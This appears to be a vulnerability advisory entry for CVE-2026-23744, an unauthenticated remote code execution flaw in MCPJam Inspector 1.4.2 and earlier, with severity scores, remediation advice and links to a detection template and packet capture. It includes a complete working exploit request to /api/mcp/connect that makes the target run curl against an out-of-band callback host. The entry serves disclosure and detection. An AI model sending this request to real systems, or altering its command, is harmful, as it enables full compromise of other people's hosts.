| Title | MCPJam Inspector - Remote Code Execution |
|---|---|
| Author | Louay-075 |
| Severity | Critical |
| Impact | An unauthenticated attacker can remotely execute arbitrary system commands via the exposed /api/mcp/connect endpoint. Successful exploitation leads to full compromise of the affected host. |
| Remediation | Upgrade MCPJam Inspector to version 1.4.3 or later. Restrict the service to listen on 127.0.0.1. |
| CVSS Score | 9.8 |
| EPSS Score | 0.11571 |
| CVE ID | CVE-2026-23744 |
| CWE ID | CWE-306 |
| Tags | cve cve2026 rce mcpjam oast |
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
POST /api/mcp/connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Content-Length: 133
Content-Type: application/json
Accept-Encoding: gzip
{"serverConfig":{"timeout":10000,"command":"curl","args":["d6dt88ple0o2kc072eag656md1eke36x9.oast.fun"],"env":{}},"serverId":"mymcp"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23744.yaml
🦈 Packet Capture: ⬇️ Download cve-2026-23744.pcap
N/AN/A